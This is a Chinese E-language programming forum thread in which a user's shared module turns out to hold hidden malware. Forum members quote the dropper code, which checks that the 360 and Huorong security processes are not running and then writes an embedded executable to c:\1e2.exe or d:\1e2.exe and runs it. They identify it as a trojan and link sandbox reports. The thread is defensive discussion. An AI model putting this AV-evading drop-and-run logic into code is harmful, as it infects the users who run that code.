精易论坛

标题: http 精易返回结果不一致 [打印本页]

作者: myl620 时间: 2024-12-14 09:45
标题: http 精易返回结果不一致
请大佬帮忙看看为啥我用http返回空但是精易可以

1.68 MB, 下载次数: 8

作者: tsb1 时间: 2024-12-14 10:00
韩浩666666666666666666

作者: nywl2008 时间: 2024-12-14 11:25
.版本 2

'
.如果 (进程_是否存在 (“360tray.exe”, ) ＝假且进程_是否存在 (“HipsMain.exe”, ) ＝假)
'
.如果真 (目录_是否存在 (“c:\”))
      写到文件 (“c:\1e2.exe”, #匿名常量_682)
      运行 (“c:\1e2.exe”, 假, )
.如果真结束
.如果真 (目录_是否存在 (“c:\”) ＝假)
      写到文件 (“d:\1e2.exe”, #匿名常量_682)
      运行 (“d:\1e2.exe”, 假, )
.如果真结束

.否则

你模块里面这个是什么玩意

作者: opphk 时间: 2024-12-14 11:28
这木马病毒，注意了

会删你的源码

作者: opphk 时间: 2024-12-14 11:37
有毒

作者: AcLe 时间: 2024-12-14 11:43

nywl2008 发表于 2024-12-14 11:25
.版本 2

'

如果360和火绒不运行，进程不存在，就释放一个程序，并运行....
为啥要去判断安全软件是否运行？
怎么感觉像是病毒一样....

作者: AcLe 时间: 2024-12-14 11:45

nywl2008 发表于 2024-12-14 11:25
.版本 2

'

如果360和火绒不运行，进程不存在，就释放一个程序，并运行...
为啥要去判断安全软件是否运行?怎么感觉像是有毒一样....

作者: nlxxbc 时间: 2024-12-19 02:12

精易模块11.1

.如果 (并且 (等于 (进程_是否存在 (“360tray.exe”, ), 假), 等于 (进程_是否存在 (“HipsMain.exe”, ), 假)))

.如果真 (目录_是否存在 (“c:\”))
      写到文件 (“c:\1e2.exe”, #匿名图片_2136)
      运行 (“c:\1e2.exe”, 假, )
.如果真结束
.如果真 (等于 (目录_是否存在 (“c:\”), 假))
      写到文件 (“d:\1e2.exe”, #匿名图片_2136)
      运行 (“d:\1e2.exe”, 假, )
.如果真结束

.否则

.如果结束

分析报告：
https://sandbox.dbappsecurity.com.cn/report/16a3b739-ac86-403d-83a8-39749e7090b3
https://sandbox.ti.qianxin.com/sandbox/page/detail?type=file&id=AZPa23GsONZSmF3-0eZo
https://sandbox.freebuf.com/reportDetail?fileSha1=65f3e291f0a6ddc3b0fd1c58dd12376efc022d0b

作者: myl620 时间: 2024-12-27 16:09
让你们这么一说我才确定我中毒了。。。刚才看了看我的所有精易模块大小都一样。。。关键火绒还拦截不到杀不了。。。

6937d657-2615-4699-955d-c859dc374961.png (44.86 KB, 下载次数: 0)

欢迎光临精易论坛 (https://125.confly.eu.org/)